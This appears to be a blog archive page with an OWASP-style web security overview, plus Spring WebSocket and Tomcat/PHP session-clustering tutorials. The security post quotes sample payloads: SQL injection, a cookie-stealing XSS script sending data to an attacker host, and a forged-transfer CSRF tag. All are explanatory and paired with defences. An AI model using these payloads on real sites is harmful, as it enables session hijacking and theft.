Monday 24 November 2014

Application and Network Security

Application Security

1.     Injection

Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

Example Attack Scenarios

Scenario #1: The application uses untrusted data in the construction of the following vulnerable SQL call:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g., Hibernate Query Language (HQL)):
Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'");
In both cases, the attacker modifies the ‘id’ parameter value in her browser to send: ' or '1'='1. For example:
http://example.com/app/accountView?id=' or '1'='1
This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify data or even invoke stored procedures.

Prevention

Preventing injection requires keeping untrusted data separate from commands and queries.
The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface.
 Be careful with APIs, such as stored procedures that are parameterized, but can still introduce injection under the hood.
If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter.

Tools


·         sqlmap (http://sqlmap.org/)

·         SQL Inject Me



2.     Broken Authentication and Session Management


Example Attack Scenarios

Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities.

Example Attack Scenarios

Scenario #1: Airline reservations application supports URL rewriting, putting session IDs in the URL:
http://example.com/sale/saleitems/jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.
Scenario #2: Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.
Scenario #3: Insider or external attacker gains access to the system’s password database. User passwords are not properly hashed, exposing every user’s password to the attacker.

Prevention

A single set of strong authentication and session management controls.
Token based security.
Appropriate server side session timeout.

Tools

·         HackBar



3.     Cross-Site Scripting (XSS)

XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping.
 XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

Example Attack Scenarios


Non Persistent

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
The attacker modifies the 'CC' parameter in their browser to:
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.
This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Persisted

http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"> 

I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js"> 


Prevention

The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into

Tools

·         XSS Server
·         XSS-Me
·         ZAP




4.     Insecure Direct Object References

A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

Example Attack Scenarios

The application uses unverified data in a SQL call that is accessing account information:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
The attacker simply modifies the ‘acct’ parameter in their browser to send whatever account number they want. If not verified, the attacker can access any user’s account, instead of only the intended customer’s account.
http://example.com/app/accountInfo?acct=notmyacct

Prevention

Preventing insecure direct object references requires selecting an approach for protecting each user accessible object (e.g., object number, filename):
Use per user or session indirect object references.

Tools

·         Burp



5.     Security Misconfiguration

Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date.

Example Attack Scenarios

Scenario #1: The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.
Scenario #2: Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she decompiles and reverse engineers to get all your custom code. She then finds a serious access control flaw in your application.
Scenario #3: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.
Scenario #4: App server comes with sample applications that are not removed from your production server. Said sample applications have well known security flaws attackers can use to compromise your server.

Prevention

The primary recommendations are to establish all of the following:
A repeatable hardening process that makes it fast and easy to deploy in another environment and is properly locked down is suggested. Development, QA, and production environments should all be configured identically (with different passwords used in each environment). This process should be automated to minimize the effort required to setup a new secure environment.
A process for keeping abreast of and deploying all new software updates and patches in a timely manner to each deployed environment.

Tools:

·         Watobo



6.     Sensitive Data Exposure

Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.

Example Attack Scenarios

Scenario #1: An application encrypts credit card numbers in a database using automatic database encryption. However, this means it also decrypts this data automatically when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. The system should have encrypted the credit card numbers using a public key, and only allowed back-end applications to decrypt them with the private key.
Scenario #2: A site simply doesn’t use SSL for all authenticated pages. Attacker simply monitors network traffic (like an open wireless network), and steals the user’s session cookie. Attacker then replays this cookie and hijacks the user’s session, accessing the user’s private data.
Scenario #3: The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All of the unsalted hashes can be exposed with a rainbow table of pre-calculated hashes.

Prevention

Avoid unsafe cryptography; ensure proper SSL usage and data protection.
Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt.
Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.




7.     Missing Function Level Access Control

Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization.

Example Attack Scenarios

Scenario #1: The attacker simply forces browses to target URLs. The following URLs require authentication. Admin rights are also required for access to the admin_getappInfo page.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
If an unauthenticated user can access either page, that’s a flaw. If an authenticated, non-admin, user is allowed to access the admin_getappInfo page, this is also a flaw, and may lead the attacker to more improperly protected admin pages.
Scenario #2: A page provides an 'action' parameter to specify the function being invoked, and different actions require different roles. If these roles aren’t enforced, that’s a flaw.

Prevention

Your application should have a consistent and easy to analyse authorization module that is invoked from all of your business functions.
The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific roles for access to every function.
If the function is involved in a workflow, check to make sure the conditions are in the proper state to allow access.

Tools:

·         Nikto/Wikto

8.     Cross-Site Request Forgery (CSRF)

A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

Example Attack Scenarios

The application allows a user to submit a state changing request that does not include anything secret. For example:
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
So, the attacker constructs a request that will transfer money from the victim’s account to the attacker’s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control:
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
If the victim visits any of the attacker’s sites while already authenticated to example.com, these forged requests will automatically include the user’s session info, authorizing the attacker’s request.

Prevention

Preventing CSRF usually requires the inclusion of an unpredictable token in each HTTP request. Such tokens should, at a minimum, be unique per user session.
The preferred option is to include the unique token in a hidden field. This causes the value to be sent
Requiring the user to re-authenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF.

Tools:

·         Tamper Data




9.     Using Components with Known Vulnerabilities

Components, such as libraries, frameworks, and other software modules, almost always run with full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defences and enable a range of possible attacks and impacts.

Example Attack Scenarios

Component vulnerabilities can cause almost any type of risk imaginable, ranging from the trivial to sophisticated malware designed to target a specific organization. Components almost always run with the full privilege of the application, so flaws in any component can be serious. Examples are like
Apache CXF Authentication Bypass – By failing to provide an identity token, attackers could invoke any web service with full permission. (Apache CXF is a services framework, not to be confused with the Apache Application Server.)
Spring Remote Code Execution – Abuse of the Expression Language implementation in Spring allowed attackers to execute arbitrary code, effectively taking over the server.
Every application using either of these vulnerable libraries is vulnerable to attack as both of these components are directly accessible by application users. Other vulnerable libraries, used deeper in an application, may be harder to exploit.

Prevention

One option is not to use components that you didn’t write. But that’s not very realistic.



10.Un-validated Redirects and Forwards

Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

Example Attack Scenarios

Scenario #1: The application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.

Prevention

Safe use of redirects and forwards can be done in a number of ways:
If used, don’t involve user parameters in calculating the destination. This can usually be done.
If destination parameters can’t be avoided, ensure that the supplied value is valid, and authorized for the user.
It is recommended that any such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server side code translate this mapping to the target URL.
Applications can use ESAPI to override the sendRedirect() method to make sure all redirect destinations are safe.

Tools

·         Watcher

Tools Guideline

Tools usage details are described here -

Heap Overflow (https://www.owasp.org/index.php/Testing_for_Heap_Overflow ) is other common attacks.


Infrastructure Security in AWS

Security Groups for VPC

A security group acts as a virtual firewall for your instance to control inbound and outbound traffic. When you launch an instance in a VPC, you can assign the instance to up to five security groups. Security groups act at the instance level, not the subnet level. Therefore, each instance in a subnet in your VPC could be assigned to a different set of security groups. If you don't specify a particular group at launch time, the instance is automatically assigned to the default security group for the VPC.
For each security group, you add rules that control the inbound traffic to instances, and a separate set of rules that control the outbound traffic. This section describes the basics things you need to know about security groups for your VPC and their rules.

Networks ACL’s

A network access control list (ACL) is an optional layer of security that acts as a firewall for controlling traffic in and out of a subnet. You might set up network ACLs with rules similar to your security groups in order to add an additional layer of security to your VPC.

Identity and Access Management 

Security credentials identify you to services in AWS and grant you unlimited use of your AWS resources, such as your Amazon VPC resources. You can use AWS Identity and Access Management (IAM) to allow other users, services, and applications to use your Amazon VPC resources without sharing your security credentials. You can choose to allow full use or limited use of your resources by granting users permission to use specific Amazon EC2 API actions. Some API actions support resource-level permissions, which allow you to control the specific resources that users can create or modify.

NAT Instances

Instances that you launch into a private subnet in a virtual private cloud (VPC) can't communicate with the Internet. You can optionally use a network address translation (NAT) instance in a public subnet in your VPC to enable instances in the private subnet to initiate outbound traffic to the Internet, but prevent the instances from receiving inbound traffic initiated by someone on the Internet.


Network security

Networks are subject to attacks from malicious sources. Attacks can be from two categories: "Passive" when a network intruder intercepts data traveling through the network, and "Active" in which an intruder initiates commands to disrupt the network's normal operation.
Passive

Ø  wiretapping
Ø  Port scanner
Ø  Idle scan
Active

Ø  Denial-of-service attack
Ø  Spoofing
Ø  Man in the middle

Port Scanner

A port scanner is a software application designed to probe a server or host for open ports. This is often used by administrators to verify security policies of their networks and by attackers to identify running services on a host with the view to compromise it.

A port scan or portscan can be defined as an attack that sends client requests to a range of server port addresses on a host, with the goal of finding an active port and exploiting a known vulnerability of that service, although the majority of uses of a port scan are not attacks and are simple probes to determine services available on a remote machine.

Prevention

The result of a scan on a port is usually generalized into one of three categories:
Open or Accepted:  The host sent a reply indicating that a service is listening on the port.
Closed or Denied or Not Listening: The host sent a reply indicating that connections will be denied to the port.
Filtered, Dropped or Blocked: There was no reply from the host.
Open ports present two vulnerabilities of which administrators must be wary:

i.                     Security and stability concerns associated with the program responsible for delivering the service - Open ports.
ii.                   Security and stability concerns associated with the operating system that is running on the host - Open or Closed ports.
Filtered ports do not tend to present vulnerabilities.

Denial of Service

A denial-of-service attack is characterized by an explicit attempt by attackers to prevent legitimate users of a service from using that service.
There are two general forms of DoS attacks: those that crash services and those that flood services.
A DoS attack can be perpetrated in a number of ways. Attacks can fundamentally be classified into five families:
·         Consumption of computational resources, such as bandwidth, memory, disk space, or processor time.
·         Disruption of configuration information, such as routing information.
·         Disruption of state information, such as unsolicited resetting of TCP sessions.
·         Disruption of physical network components.
·         Obstructing the communication media between the intended users and the victim so that they can no longer communicate adequately.
A DoS attack may include execution of malware intended to:[citation needed]
·         Max out the processor's usage, preventing any work from occurring.
·         Trigger errors in the microcode of the machine.
·         Trigger errors in the sequencing of instructions, so as to force the computer into an unstable state or lock-up.
·         Exploit errors in the operating system, causing resource starvation and/or thrashing, i.e. to use up all available facilities so no real work can be accomplished or it can crash the system itself
·         Crash the operating system itself.
In most cases DoS attacks involve forging of IP sender addresses (IP address spoofing) so that the location of the attacking machines cannot easily be identified and to prevent filtering of the packets based on the source address.

Prevention

The articles below describes how to prevent DoS attacks –

Spoofing

In the context of network security, a spoofing attack is a situation in which one person or program successfully masquerades as another by falsifying data and thereby gaining an illegitimate advantage.
Spoofing attack and prevention explained here –

Man in the Middle Attack

The man-in-the middle attack intercepts a communication between two systems. For example, in an http transaction the target is the TCP connection between client and server. Using different techniques, the attacker splits the original TCP connection into 2 new connections, one between the client and the attacker and the other between the attacker and the server

MITM Attack tools

There are several tools to realize a MITM attack. These tools are particularly efficient in LAN network environments, because they implement extra functionalities, like the ARP spoof capabilities that permit the interception of communication between hosts.
·         PacketCreator
·         Ettercap
·         Dsniff
·         Cain e Abel

Prevention

ARP spoofing can be made difficult for people to view network traffic by using encrypted network connections provided by HTTPS or VPN (virtual private network) technology.
HTTPS uses the secure sockets layer (SSL) capability in browser to mask your web-based network traffic from prying eyes. VPN client software works in a similar fashion – some VPNs also use SSL – but you must connect to a VPN access point like your company network, if it supports VPN. To decrypt HTTPS and VPN, a man-in-the-middle attacker would have to obtain the keys used to encrypt the network traffic which is difficult, but not impossible to do.
When communicating over HTTPS, your web browser uses certificates to verify the identity of the servers you are connecting to.  These certificates are verified by reputable third party authority companies like VeriSign.
To read more please follow the link below –




Friday 17 October 2014

WebSockets with Spring 4 SockJS and STOMP

Introduction



RFC 6455, the WebSocket protocol defines the capability for the web applications to be two-way, full-duplex  between client and server for communication. WebSocket helps to make the web to be more interactive including Java applets, XMLHttpRequest, server-sent events, and others. Spring 4 has introduced spring-websocket compatible with the Java WebSocket API.

WebSocket programming requires fallback options as a number of browsers don't support WebSocket (like IE10 and above supports WebSocket) and some restrictive proxies may be configured in ways that either preclude the attempt to do HTTP upgrade or otherwise break connection after some time because it has remained opened for too long. Spring Framework provides such transparent fallback options based on the SockJS protocol.

WebSocket application might use a single URL only for the initial HTTP handshake. All messages thereafter share and flow on the same TCP CONNECTION. This points to an entirely different, asynchronous, event-driven, messaging architecture


When to use WebSocket

The best fit for WebSocket is in web applications where client and server need to exchange events at high frequency and at low latency. Prime candidates include but are not limited to applications in finance, games, collaboration, and others. Such applications are both very sensitive to time delays and also need to exchange a wide variety of messages at high frequency.

Spring WebSocket components

Spring WebSocket implementation has some core components -

WebSocket Handler

A WebSocket handler is a class that will receive requests from the websocket client.


@Configuration
@EnableScheduling
@ComponentScan("org.springframework.samples")
@EnableWebSocketMessageBroker
public class WebSocketConfig extends AbstractWebSocketMessageBrokerConfigurer {


@Override
public void registerStompEndpoints(StompEndpointRegistry registry) {
registry.addEndpoint("/<some_name>").withSockJS();
}

}

Handshake Interceptor(Optional)

The websocket handshake interceptor is used to define and specify a class that intercepts the initial websocket handshake. Interceptors are purely optional.

public class HandshakeInterceptor extends HttpSessionHandshakeInterceptor{

@Override
public boolean beforeHandshake(ServerHttpRequest request,
ServerHttpResponse response, WebSocketHandler wsHandler,
Map<String, Object> attributes) throws Exception {

return super.beforeHandshake(request, response, wsHandler, attributes);
}

@Override
public void afterHandshake(ServerHttpRequest request,
ServerHttpResponse response, WebSocketHandler wsHandler,
Exception ex) {

super.afterHandshake(request, response, wsHandler, ex);
}

}

Enable SockJS

Enabling SockJS at server side is easy with configuration 

@Configuration
@EnableScheduling
@ComponentScan("org.springframework.samples")
@EnableWebSocketMessageBroker
public class WebSocketConfig extends AbstractWebSocketMessageBrokerConfigurer {


@Override
public void registerStompEndpoints(StompEndpointRegistry registry) {
registry.addEndpoint("/<some_name>").withSockJS();
}

}

STOMP


STOMP is the Simple (or Streaming) Text Orientated Messaging Protocol. STOMP provides an interoperable wire format so that STOMP clients can communicate with any STOMP message BROKERto provide easy and widespread messaging interoperability among many languages, platforms and BROKERS.

Spring  supports STOMP over WebSocket through the spring-messaging and spring-websocket modules. 

Here is an example of configuring a STOMP WebSocket endpoint with SockJS fallback options. The endpoint is available for clients to connect to at URL path /<app_name>/<end_point>:

@Configuration
@EnableScheduling
@ComponentScan("org.springframework.samples")
@EnableWebSocketMessageBroker
public class WebSocketConfig extends AbstractWebSocketMessageBrokerConfigurer {


@Override
public void registerStompEndpoints(StompEndpointRegistry registry) {
registry.addEndpoint("/<end_point>").withSockJS();
}

@Override
public void configureMessageBroker(MessageBrokerRegistry registry) {
registry.enableSimpleBroker("/queue/", "/topic/");
registry.setApplicationDestinationPrefixes("/<app_name>");
}

}

These are the benefits for an application from using STOMP over WebSocket:

  • Standard message format
  • Application-level protocol with support for common messaging patterns
  • Client-side support, e.g. stomp.js, msgs.js
  • The ability to interpret, route, and process messages on both client and server-side
  • The option to plug a message BROKER like RabbitMQ, ActiveMQ, many others to broadcast messages 

Sending Messages

It is also possible to send a message to user destinations from any application component by injecting the SimpMessageTemplate.
@Service
public class TradeServiceImpl implements TradeService {

private final SimpMessageTemplate messagingTemplate;

@Autowired
public TradeServiceImpl(SimpMessageTemplate messagingTemplate) {
this.messagingTemplate = messagingTemplate;
}

// ...

public void afterTradeExecuted(Trade trade) {
this.messagingTemplate.convertAndSendToUser(
trade.getUserName(), "<some_end_point>", trade.getResult());
}

}

SockJS

SockJS has the capability to use a WebSocket API but fall back to non-WebSocket alternatives when necessary at runtime without the need to change application code. As of writing this article only the following browsers supports WebSocket
  • IE 10
  • FireFox 6
  • Crome 4
  • Safari 5
  • Opera 12.10
To use SockJS we need sock.js at client side and SockJS server side library at server side.

WebSocket SockJS Client

SockJS client supports Ajax/XHR streaming in IE 8, 9 via Microsoft’s XDomainRequest. That works across domains but does not support sending cookies.
Java config to set SockJS client library - 
@Configuration
@EnableWebSocket
public class WebSocketConfig implements WebSocketConfigurer {

    @Override
    public void registerStompEndpoints(StompEndpointRegistry registry) {
        registry.addEndpoint("/<some_relative_url>").withSockJS()
                .setClientLibraryUrl("http://<host>:<post>/<myapp>/js/sockjs-client.js");
    }

    // ...


}

On the browser side, a client might connect as follows using stomp.js and the sockjs-client

var socket = new SockJS("/spring-websocket-portfolio/portfolio");
var stompClient = Stomp.over(socket);

stompClient.connect({}, function(frame) {

}

References:
http://docs.spring.io/spring/docs/current/spring-framework-reference/html/websocket.html
Working Code Example: 
https://github.com/badalb/spring-websocket-portfolio.git

Thursday 16 October 2014

Distributed Session Management and Session Clustering

Distributed Session Management and Session Clustering

Introduction

Http is a stateless protocol, if there is a need to maintain the conversational state, session tracking is needed. For example, in a shopping cart application users keep on adding items into their cart using multiple requests. For every request, server should identify in which client’s cart the item is to be added. The standard ways to maintain http sessions are –
  •            User authorization
  •        Hidden fields
  •        URL rewriting
  •        Cookies
  •        Session tracking API

In a web based production environment we use load balancers to balance load across multiple servers. Managing sessions for such load balanced distributed environment is crucial specially to handle failovers.
We will be discussing some of the possible options to address the distributed session management and session clustering to overcome failovers. For simplicity we will be considering Apache web server and Tomcat as the app server only.

Load Balancing and Sticky Sessions

Sticky session is work on individual sessions. No session is shared with other tomcat servers. Server generated the session will keep that information of session, else no one know about that information. This can be done by Load balancer and mod_jk connectors at Apache level. If the underlying node is down sticky session don’t help, it only helps in load balancing.
To learn more about sticky session and load balancer setup we can the link below [http://www.ramkitech.com/2012/10/tomcat-clustering-series-part-2-session.html]

In Memory Session Broadcasting/Multicasting

Tomcat supports native in memory session clustering to handle load balancing, high performance and high availability. In this approach all the nodes participate in the cluster and every time a session is created the session information is shared to all the tomcat instances in the cluster.
To enable in memory session clustering in tomcat we need to configure a cluster in server.xml file available in ${CATALINA_HOME}/conf directory. The configuration snippet below will create a cluster in tomcat
<Engine name="Catalina" defaultHost="<some_host_name>" jvmRoute="<worker_name>”
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster" channelSendOptions="8">
<Manager className="org.apache.catalina.ha.session.DeltaManager" expireSessionsOnShutdown="false" notifyListenersOnReplication="true"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Membership className="org.apache.catalina.tribes.membership.McastService" address="<228.0.0.4>" port="<45564>" frequency="500" dropTime="3000"/>
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver" address="auto" port="4000" autoBind="100" selectorTimeout="5000" maxThreads="6"/>
<Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
<Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatch15Interceptor"/>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve" filter=""/>
<Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>
<ClusterListener className="org.apache.catalina.ha.session.JvmRouteSessionIDBinderListener"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>
Note that we need to add this configuration to each Tomcat instance you wish to add to the cluster as a worker, and that each Engine element must have its own unique jvmRoute.
One possible constraint here is that the tomcat instances talk to each other creating a lot of communications among instances.
To learn more we can refer [http://www.mulesoft.com/tcat/tomcat-clustering]

Persisting Session State to Common Store

We can use common session storage like database, memcached, redis etc to store the session state all the tomcat instances will persist the session state to database or memcached and read session state from there.
  To use memcached as session storage we have to use tomcat version specific session storage manager. Open source contributions around the same are already available here [https://github.com/magro/memcached-session-manager].
 We have to perform the steps below to use memcached as session storage
i.                     put memcached-session-manager-x.y.z.jar, memcached-session-manager-tc<version>-x.y.z.jar, msm-kryo-serializer-x.y.z.jar and spymemcached-x.y.z.jar in ${CATALINA_HOME}/lib directory.
ii.                   edit tomcat/conf/context.xml, and add the following lines inside the <Context> tag (on all nodes):
<Manager className="de.javakaffee.web.msm.MemcachedBackupSessionManager"
      memcachedNodes="n1:localhost:11211"
      requestUriIgnorePattern=".*\.(ico|png|gif|jpg|css|js)$" />
Or we can follow this link to complete the setup [http://wiki.alfresco.com/wiki/Tomcat_Session_Replication_with_Memcached]
For Redis we can follow this link [https://github.com/jcoleman/tomcat-redis-session-manager]


Session Clustering Using Hazelcast

We can use hazelcast to cluster sessions as well. To do so we must have the following -
·         Target application or web server should support Java 1.5+
·         Target application or web server should support Servlet 2.4+ spec.
·         Session objects that need to be clustered have to be Serializable.

Put the hazelcast and hazelcast-wm jars in your WEB-INF/lib directory.
Put the following xml into web.xml file. Make sure Hazelcast filter is placed before all the other filters if any; put it at the top for example
    <filter>
    <filter-name>hazelcast-filter</filter-name>
    <filter-class>com.hazelcast.web.WebFilter</filter-class>
    <init-param>
        <param-name>map-name</param-name>
        <param-value>[my-sessions]</param-value>
    </init-param>
    <init-param>
        <param-name>sticky-session</param-name>
        <param-value>[true]</param-value>
    </init-param>
    <init-param>
        <param-name>debug</param-name>
        <param-value>[true]</param-value>
    </init-param>
</filter>
<filter-mapping>
    <filter-name>hazelcast-filter</filter-name>
    <url-pattern>/*</url-pattern>
    <dispatcher>FORWARD</dispatcher>
    <dispatcher>INCLUDE</dispatcher>
    <dispatcher>REQUEST</dispatcher>
</filter-mapping>
<listener>
    <listener-class>com.hazelcast.web.SessionListener</listener-class>
</listener>
We need to change in hazelcast.xml file also like below –
join>
            <multicast enabled="[false/true]">
                <multicast-group>[224.2.2.3]</multicast-group>
                <multicast-port>[54327]</multicast-port>
            </multicast>
            <tcp-ip enabled="[true/false]">
                <interface>[127.0.0.1]</interface>
<interface>[127.0.0.1]</interface>
            </tcp-ip>
            <aws enabled="[false/true]">
                <access-key>[123]</access-key>
                <secret-key>[456]</secret-key>
                <tag-key>type</tag-key>
                <tag-value>hz-nodes</tag-value>
            </aws>
        </join>


Cross Platform Session Sharing

Some time we while developing enterprise applications we may end up developing a solution involving multiple technologies like Java, J2ee, PHP and Microsoft Technologies for different components and we may expect different components to work seamlessly forcing us to share session for cross platform. To support cross platform session sharing we have to take care of the following things –
i.                     Common session store
ii.                   Common session object structure (data structure)
iii.                 Common session serialization strategy
iv.                 Common deserialization strategy
 We will explore here session sharing strategy between a J2EE based application deployed in tomcat and PHP based application.

Tomcat and J2EE Session Management


Tomcat (J2EE containers) by default has its own session management and storage implementation. It generates a session cookie by the name JSESSIONID and has its own session storage data structure. We need to override this session cookie name as well as data structure and to do so we must have to write some container specific implementations.
Apache Shiro [http://shiro.apache.org/] gives us the facility to override the session management strategy out of the container.
A complete session management strategy including overriding the session cookie, session id generation and persisting the session in memcached and a custom session object (data structure ) can be found here – [https://github.com/badalb/shiro-session-management ]

Session Management from PHP /Zend

Implementing Memcached based session in Zend framework 2 :

/** configuration settings **/
/** File: module.config.php ; Location: <org/com/module/Api/ **/>

defining memcached service:

'service_manager'=>array(
        'factories' => array(
....
....
                   'doctrine.cache.my_memcache' => function ($sm) {
                        $cache = new \Doctrine\Common\Cache\MemcachedCache();                  
                        return $cache;
                    }
.....
)),.....

Defining Session configuration :

....
....
    'session' => array(
        'config' => array(
            'class' => 'Zend\Session\Config\SessionConfig',
            'options' => array(
                'name' => 'hu',
                'cookie_lifetime' => 0,
                'use_cookies' => true,
                'cookie_httponly' => true,
            ),
            'use_memcached'=> true
        ),
        'storage' => 'Zend\Session\Storage\SessionArrayStorage',
        'validators' => array(
            array(
                'Zend\Session\Validator\RemoteAddr',
                'Zend\Session\Validator\HttpUserAgent',
            ),
        ),
    ),
....
....
/** File: module.config.php - END **/

/** File: module.php  ; Location: <org/com/module/Api/config/ **/>

Setting memcached as Storage adapter:
NOTE: Storage adapters come with tons of methods to read, write and modify stored items and to get information about stored items and the storage.

         $cache = StorageFactory::factory(array(
                    'adapter' =>array( 'name' => 'memcached',
                       'options' => array(
                       'servers' => ['localhost'],
                           )
                ),
              ));
        $saveHandler = new \Api\Common\HUCache($cache);
        ini_set('session.serialize_handler', 'php_serialize');

       /**Session config and storage options **/
        $sessionConfig = new SessionConfig();
        $sessionConfig->setOptions($config['session']['config']['options']);

        $sessionManager = new SessionManager($sessionConfig);
        $sessionManager->setStorage(new \Zend\Session\Storage\SessionStorage());

        $sessionManager->setSaveHandler($saveHandler);

/** File: module.php - END **/

/** New File: HUCache.php ; Location : <org/com/module/Api/src/Api/Common/ **/>

/** Storage adapter with read, write and delete methods **/

class HUCache extends \Zend\Session\SaveHandler\Cache
{
    public function read($id)
    {
        $data = Decoder::decode($this->getCacheStorage()->getItem($id), Json::TYPE_ARRAY);
        return serialize($data);
    }

    /**
     * Write session data
     *
     */
    public function write($id, $data)
    {  
        $new_data = (array) unserialize($data);

        $data = Decoder::decode($this->getCacheStorage()->getItem($id));
        $final = $new_data;
        if (null !== $data && !empty($data))
        {
        //Merge the data
            $final = array_merge((array)$data ,$new_data);
        }
        $a = Encoder::encode($final);
        return $this->getCacheStorage()->setItem($id, $a);
    }
        /**
        * Destroy session
        *
        * @param string $id
        * @return bool
        */
    public function destroy($id)
    {
        return $this->getCacheStorage()->removeItem($id);
    }
}
/** File: HUCache.php - END **/